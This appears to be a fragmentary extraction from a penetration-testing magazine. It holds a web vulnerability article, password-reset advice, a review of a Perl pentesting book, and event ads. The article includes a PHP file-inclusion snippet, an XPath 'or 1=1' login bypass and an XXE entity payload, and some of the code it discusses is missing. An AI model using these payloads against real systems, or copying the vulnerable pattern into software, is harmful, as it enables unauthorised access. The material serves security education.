http://mysite.com/index.php?page=index
http://mysite.com/index.php?page=contacts
and so on..
And on the server side, theres a code part which takes the page argument and includes:
1.
2.
3.
4.
5.
6.
<?php
//
$page = $_REQUEST[page];
include($page);
//
?>
| PenTest Magazine
Xpath Injection
This type of injection is a bit similar to SQL injection.
Consider the sample application that does authentication. The app will use an xml database storage
having structure like this:
1. <Employees>
2. <!-- Employees Database -->
3. <Employee ID=1>
4. <FirstName>Johnny</FirstName>
5. <LastName>Bravo</LastName>
6. <UserName>jbravo</UserName>
7. <Password>test123</Password>
8. <Type>Admin</Type>
9. </Employee>
10. <Employee ID=2>
11. <FirstName>Mark</FirstName>
12. <LastName>Brown</LastName>
13. <UserName>mbrown</UserName>
14. <Password>demopass</Password>
15. <Type>User</Type>
16. </Employee>
17.
18. </Employees>
86
Of course, the first thing to mention here is DO NOT save passwords in plain text!
But, for this example, it is not a goal.
If we have two fields (what is usual), username and password, the bypassing is simple:
Username: or 1 = 1
Password: or 1 = 1
RegEx Injection
This type of injection refers to cases when an application somehow uses input data from the user as a
part of a regular expression.
Consider we have an app which allows users to change their passwords and all user data is stored
as an xml file or xml database.
In this case, the user provided variable becomes a part of the replacement term of the call to preg_
replace() (in case of using PHP). Therefore, the code is vulnerable to Regular Expression Injection.
PenTest Magazine |
So the call to the system() function was injected in the application. While this specific attack will
have no effect on most systems since the user PHP is running under does not have the rights to call
reboot, the implications of such a security vulnerability are obvious, since PHP functions and also
system calls can be executed if not deactivated in the configuration.
87
In some situations, an XML processor library that is vulnerable to client-side memory corruption
issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution
under the application account. Other attacks can access local resources that may not stop returning
data, possibly impacting application availability if too many threads or processes are not released.
As an example, we could look at this case:
<!ENTITY xxe SYSTEM file:///dev/random >]><foo>&xxe;</foo>
| PenTest Magazine
88
PenTest Magazine |
89
9. Passwords, session IDs, and other credentials are sent over unencrypted
connections
Unencrypted transmissions allow monitoring by anyone with access to the connection itself. Besides
the possibility of someone stealing the credentials themselves, this opens up a number of other
dangers, including man-in-the-middle and replay attacks.
| PenTest Magazine
Finally
So, there are many, many implementations of this vulnerability. The most common one is session
fixation. Session fixation is the type of vulnerability when your web server does not correctly handle
user sessions.
In this case, the application on the server side does not create a new ticket for user and that is the
problem. In theory, if you think about it how the process of authentication if going on.
First, lets take a simple case when you authenticating users via login/password passphrase. So,
your user provides the credentials, next, the web server must validate it. While validating it, the server
must compare hashes of provided credentials with pair hash stores in a database or in a file.
Then, if comparing is successful, the application should gave user a ticket. This ticket identifies the
user in a system. It is his session key.
Now, consider someone wants to hack this architecture. What can he do? Honestly, his steps are
not complicated.
For example, lets say your application supports a session fixation. Session fixation is a feature
that allows users to provide a session key from another place and still gain access to the main user
session.
90
This vulnerability becomes exploitable when your application does not check anything after
obtaining the session key. And many sites do it it the exact that way. If you got the session key, then
you are authenticated.
But in real life, that is not true. Your session key can be hijacked or sniffed! And that case is real in
public wi-fi or some net where anyone can listen to network traffic.
The next common thing is poor implementation of functions like password changing or password
recovery.
If some system provides you password recovery test it! There are many of them who just send
you your password by your request. Commonly, it is sent to the email on which the account is
registered. So, think, if they sent you your password, then they keep it for sure! And another not
pleasant thing, they probably keep it in clear text.
And that leads to at least two problems:
First, you should understand that all persons in that company probably have access to your data
Second, you should be aware that if that company is compromised, all your data will be accessed
by hackers, and your password is in clear text too.
Summary
Securing authentication and session management is a broad, complex area of security, but it is
essential to preserving the identity and trust of the user. Always follow good practices to protect
your users identity, including their passwords and session IDs. Hash passwords, encourage good
password selection, require re-authentication to change passwords, force users to change their
passwords when trying to recover accounts, never put a session ID in a URL, ensure all session
PenTest Magazine |
1. Initialize
To initialize the process of resetting their forgotten password, have users only enter the email address
that they believe is associated with the account. Dont provide any feedback on whether the specified
email address is a valid address or not. Provide only an immediate notification to the end user that
instructions for resetting the password was sent to the specified email address.
2. Notify
Immediately send out an email to the specified account despite whether the email is a legitimate
address or not. In case the email was not legitimate, the email would be a notification to the email
holder specifying that no account was found associated with the email. In the case where the email
was legit, specify the instructions for continuing the password reset process.
Out of the gate, this is going to be controversial for some, shouting a user-experience foul.
Thesmall inconvenience where the user must submit another email address due to a typo or
incorrect remembrance of what email address was used to register is little when we think about.
Thissmall inconvenience affords us additional protection for our users. The larger issue here is
allowing a malicious party to harvest information on what valid users exist in our system (including the
one experiencing the small inconvenience). The ability to harvest legitimate accounts and information
about those accounts is a serious error and will be talked about later at length.
3. Protect the current account
91
There should be no action taken against an account where a password reset process has been
initialized. To be more precise, no lockout of the account or no re-generation of a new password.
Nothing. A form of Denial of Service attack (DOS) can be direct or in mass if any action is taken
against an account where only the process of resetting the password has been initialized.
4. Tokenize
Generate a secure token that can be used to identify the reset request. This is persisted with the
associated account ID and time stamp of when the request was initialized. This might go without
saying, but the token does not represent any sensitive data and is only an obfuscated reference
totherequest record that should not be able to be guessed.
5. URL
Legitimate email addresses (email addresses found in the system) should contain a URL link to
continue the password reset process. The URL will contain the token, that will be used to look up
thepassword reset request record for additional information. Most importantly, this must be a secured
URL using HTTPS. We all saw many disclosures about the man-in-the-middle vulnerabilities when not
securing all aspects of a sensitive transaction and this is no different. It might go without saying, but
do not provide the users current password in the email.
We might go as far as not even providing the associated username in the email (if the account
username isnt the email address), especially, if you will require further user validation before allowing
the user to specify a new password (talked about later in the process).
6. Request Validation.
Following the URL link in the email will land them on the HTTPS secured form. Before being able
totake the next steps in the password reset process, we need to validate that the token provided
bythe URL is still valid.
The time that the request was initialized was captured with the password request record earlier
inthe process. At this point, you need to apply your business rules for how long a password request
| PenTest Magazine
7. User Verification
At this point in the process we have relied completely on the security of the email address. The user
iseither a legitimate user or someone has managed to compromise the associated email account.
Here is where you need to determine what level of further validating the user is required.
FluffyKittenWishList.com might not require the same level of validation that your financial institute
requires.
There are a number of different forms of validation such as Two-Factor Authentication and Secret
Questions/Answers. Since 2FA is in itself a diverse and deep subject, well talk shortly about Secret
Questions/Answers.
If you determined to further validate the user, they need to answer one or more questions that they
had chosen and answered at some point in the lifetime of their account. The key however, is that we
dont display only the questions they chose to answer. Require the invalidated user to choose from
the list of possible questions the correct selected question and provide the correct answer.
If you are using secret questions and answers, the answers need to be stored just as you would
with passwords. Many have written long ago how secret answers to secret questions are just another
form of a password, so they need to be cryptographically secured.
8. Reset Password
After the user has successfully validated their legitimacy (or in the case where they are not required),
they would be presented with the ability to provide a new password (and complementing password
confirmation). However, once this has been done, we dont automatically log them in.
9. De-Tokenize
After a successful password reset, destroy the associated password request record that was retrieved
using the URL provided token.
92
11. Login
As it was mentioned earlier, when a password is successfully reset, we dont automatically log them in
but redirect them to the login page and require them to login.
The above is a topic that can be extensively written about (and has been) but WE have distilled it
down to a few bullet points. Therefore, there are quite a few very important considerations that need to
be made that werent mentioned already, such as:
Logging, lots of it. Logging every aspect of the reset process (note: never log the password).
Means for legitimizing the password reset request with CAPTCHAs or throttling requests, usually
attempts by harvesters to validate the existence of accounts.
How to handle cases where username and email are separate but the user has forgotten their
associated username when would be a valid opportunity to divulge this information?
So, now you should be aware of all things according to A2 implement your authentication and
session management properly!
by Vladimir Korennoy
PenTest Magazine |
Penetration Testing
withPerl
ouglas Berdeaux has written an excellent book, excellent from quite a number of points of view,
some of which I will address. Packt Publishing have done a great service making this and other
available at their web site. It is one of many technical books there that have extensive source
code and are good instructors.
93
Penetration Testing with Perl is available as both a PDF file and as an e-book in Mobi and epub
formats.
It is one of over 2000 instructional books and videos available at the Packt web site.
I read a lot on my tablet but most of the ebooks I read are linear text (think: novels, news). A
book like this is heavily annotated by differentiating fonts and type and layout. How well your ebook
reader renders that might vary. None of the ones I used were as satisfactory as the PDF. For all its
failings, if you want a page that looks just so whatever it is read on, then PDF still wins out. For many,
this wont matter since the source code can be downloaded in a separate ZIP file.
Of course you may be like me and prefer to learn by entering the code by hand so as to develop
the learned physical habit which you can then carry forward. You may also prefer to have a hard copy
version of the book rather than use a split screen mode.
This is not a book about learning to code in Perl, or earning about the basics of TCP/IP. Berdeaux
himself says in the introduction:
This book is written for people who are already familiar with basic Perl programming and
who have the desire to advance this knowledge by applying it to information security
and penetration testing. With each chapter, I encourage you to branch off into tangents,
expanding upon the lessons and modifying the code to pursue your own creative ideas.
I found this to be an excellent source book for ideas and worked though many variations of the
example code. This book is a beginning, not a end point.
| PenTest Magazine
t wasnt until several years prior to writing this book that I truly began to understand
the harmonious nature of Perl, Linux, and information security. Perl is designed for
string manipulation, which excels in an operating system that treats everything as a file.
Ratherthan writing Perl scripts to parse the output from other programs, I was now writing
independent code that mimicked the functionality of other information security programs.
At this stage, I had a newfound appreciation for the power of Perl, which opened the door
for endless opportunities, including this book.
I myself adopted Perl in 1989 with version 3 and built a complete ISP management, tracking and
reporting/billing system. I found that it had all the expressive power of C but handled many matters
such as string manipulation and patter matching much more gracefully. And then there was the CPAN
repository! Perhaps I should fault Berdeaux for not emphasising CPAN more, but to be fair, CPAN
deserves a book of its own and is a living, growing subject.
94
This is certainly a how-to book and Berdeaux makes it quite explicit that the examples and
exercises are for the real world. He suggests a test-bench with a 802.11 Wi-Fi router that is capable
of WPA2 encryption, two workstations (which can be virtual if networked properly) that will act as an
attacker and a victim, a smartphone device, an 802.11 Wi-Fi adapter that is supported by the Linux
OS driver for packet injection, network shared storage, and a connection to the Internet.
All that being said, the book is an excellent example of how to design, write and document open
source code. So much open source code is just presented and difficult to understand or support.
Theauthor has not documented his design decisions, not documented what the various code
sections are trying to do and how that way of doing it rather than another was chosen. In the literary
world we often have early manuscript that show revisions, authors notes and such like. All too often
with code we only see the end result. Berdeaux unfolds all this and the result is very readable. This is
the kind of book that could be used on a course on either Perl or Pen-testing because it is practical
and will engage the students interest.
Whats Inside
Chapter 1 takes you though the basics of Perl and ends up discussing CPAN And showing you how to
download LWP::UserAgent, which plays a key role in the code examples that follow. Readers already
familiar with Perl can page though this quickly.
Chapter 2 deals with shell programming under Linux using BASH. Again the basics are covered and
those with shell experience can move on quickly.
The only parts of importance to those with experience is some setup of the environment for what follows.
Chapters 3 and 4 deal with the wired environment before going on to the wireless environment in
chapter 5.
PenTest Magazine |
Chapter 4 addresses packet capture and filtering with Perl. Those who have a thorough knowledge
of the TCP protocol suite and tools such as wireshark can move quickly though this as much of the
first part of this chapter is how to take packets apart using Perl. We then move on to the application
layer and so into how to set up a Man in the Middle (MitM) attack. Berdeaux emphasises the
importance of information gathering and uses the example MAC/IP address determined earlier to
illustrate a hijacking with ARP spoofing.
In Chapter 5 we move on to Wifi networking with 802.11 and how to disassemble 802.11 frames.
Amore detailed knowledge how 802.11 is managed is the basic knowledge requirement here, though
Berdeaux does cover what is needed for his examples. Once again a variety of Linux networking
tools, this time the wifi tools, are used alongside or within the Perl code.
Having laid these foundations Chapter 6 moves on to applying these skills in the first state of a
penetration test, the gathering of information, in this case Open Source information (OSINT) such as
email addresses and DNS information. This covers not only obviously googling but also searching
social media sites such as Google+, LinkedIn, Facebook and others. This section shows the power
of Perls regular expression mechanism to filter out the desired information from what might be a
fire-hose of results. As humans we look at only the first few results of a google query, probably not
noticing that there are many thousands of hits. A Perl based scanner can dive deeper.
Chapter 7 goes into detail about the powerful hack SQL Injection, making the point that SQL
injection is one of the longest-running vulnerabilities in IT, only bettered by Buffer Over-run. It is a
demonstration that some web technologies, including languages, are inherently fragile and simple
mistake can have dramatic consequences.
95
Chapter 8 looks at other web based vulnerabilities and how to exploit them, such as cross site
scripting (XSS), file inclusion and others. Berdeaux makes these all very clear and simple and shows
how Perl really is an easy to use tool, a hackers Swiss Army Knife.
Chapter 9 deals with password cracking. While Perl isnt as fast as lower level languages for
brute force cracking, Berdeaux makes the very valid point that there are better ways, making use
of precomputed tables and of leaked information, the Internet equivalent of the yellow stickie under
the mousepad. Once again google comes into play. In one sense this book is as much about using
google as it is about Perl!
It is in the section on WPA wifi cracking that Berdeaux makes Perl shine. He begins with aclear
explanation of the protocol and then carefully explains the code and how it works. He makes it look very
simple and straight forward, an excellent piece of writing about something that can be very confusing.
Metadata, addressed in Chapter 10 has been in the news recently due to revelations about national
security agencies collecting communication information. Metadata refers to the contextual information
rather than the actual content, the who, where, what. The metadata of a photograph can reveal where
and when it was taken, how it was edited. How this information can be exploited is going to depend on
the context. One might imagine law enforcement using metadata to trace child pornographers.
Files other than photographs also contain metadata. Examples include many of the types of
documents stored on web sites and that can be found by searching with google and specifying the
filetype. One of the most common of these is PDF, and Berdeaux uses this as an example too.
In a general sense, metadata is an interesting form of information leakage simply because it is
not visible. An out of sight means out of mind phenomena, added to that fact that many people are
simple ignorant of its existence.
| PenTest Magazine
Human psychology and the human nature of will, sympathy, empathy, and the most
commonly exploited nature of curiosity are all weaknesses that a successful social
engineer can use to elicit private information. Some institutions and most large-scale
client targets for penetration testing are slowly becoming aware of this type of attack and
are employing practices to mitigate these attacks. However, just as we can sharpen our
weapons to clear through defense, we can also sharpen our social engineering skills
by investing our efforts in the initial OSINT, profiling and gathering information, which we
have already done throughout the course of this book.
This kind of penetration method relies on bait messages. It is effective because it so often works when
all else fails. Ultimately it relies on human frailty and trust. Berdeaux makes it clear that a great deal
of our trust is in the integrity of the programs we use. He uses the example of a rogue version of SSH
written in Perl to make this point
Chapter 12 deals with the most important part of any penetration test operation: the reporting of the
results. A quality report ensures a satisfied client. As Berdeaux says:
The process of planning the reports begins the minute we begin testing and ends the
minute we stop.
He goes on to add
Logging successful steps is not only crucial for the logistics of the target client, but can
also lead to further exploitation after close analysis.
Perl is admirable suited to generating and tabulating reports, it was part of its original design concept.
Along the way, Perl has seen the development of many code modules and has been the core of the
engine behind many web sites. That has led to facilities for things such as graphing, which are used
in the examples here.
96
The final report might be presented as a PDF or as a web page (HTML). Perl can handle both and
both are illustrated. These techniques, obviously, have a wider application.
Finally in Chapter 13 we learn how to write GUIs in Perl with the Tk extensions. Along the way we
have to learn the Object Oriented syntax of Perl.
If I had been structuring this book I would have introduced the OO-Perl much earlier and make use
of the GUI capabilities much earlier. At the very least, the techniques of OO-Perl and call-backs that
this chapter introduces are more generally applicable.
GUIs can be wonderful things, or they can be limiting things. It is up to the GUI designer. The point
of this chapter is that you can be the GUI designer and have an interface that meets your needs.
Source
Details
PenTest Magazine |
Title
Author
Douglas Berdeaux
Publisher
Address
ISBN13
9781783283453
Date
2014
Price
Pages
332
For Builders
A BZ Media Event
Calling all
SharePoint
and Office 365
Developers!
Microsoft Keynote!
Chris Johnson
SPTechCon Developer Days will help you understand the new application model, modern Web development architecture, languages and techniques, and much more. Check out these topics on the agenda:
The New App Model JavaScript and jQuery Office Graph & Delve REST, CSOM and APIs Web Part
Development Modern Web Development Architecture Responsive Web Design Client-Side Development
App and Workflow Customization Branding SPServices The Content Query Web Part SharePoint for
ASP.NET Developers Visual Studio and SharePoint Building Single-Page Apps AngularJS and BreezeJS
Mastering Bootstrap HTML5 and CSS TypeScript for SharePoint Developers Developing an Intranet
The Data View Web Part Office Web Apps Business Connectivity Service Creating Master Pages and
Page Layouts Secured Web Services Solutions Versioning and Upgrading Features The Content Search
Web Part The Evolution of SharePoint Event Receivers Code Solutions for Performance and Scalability
Presented by
Attendance limited to
the first 375 developers
Android is everywhere!
But AnDevCon is where
you should be!
Right after
Google IO!
#AnDevCon
AnDevCon is a trademark of BZ Media LLC. Android is a trademark of Google Inc. Googles Android Robot is used under terms of the Creative Commons 3.0 Attribution License.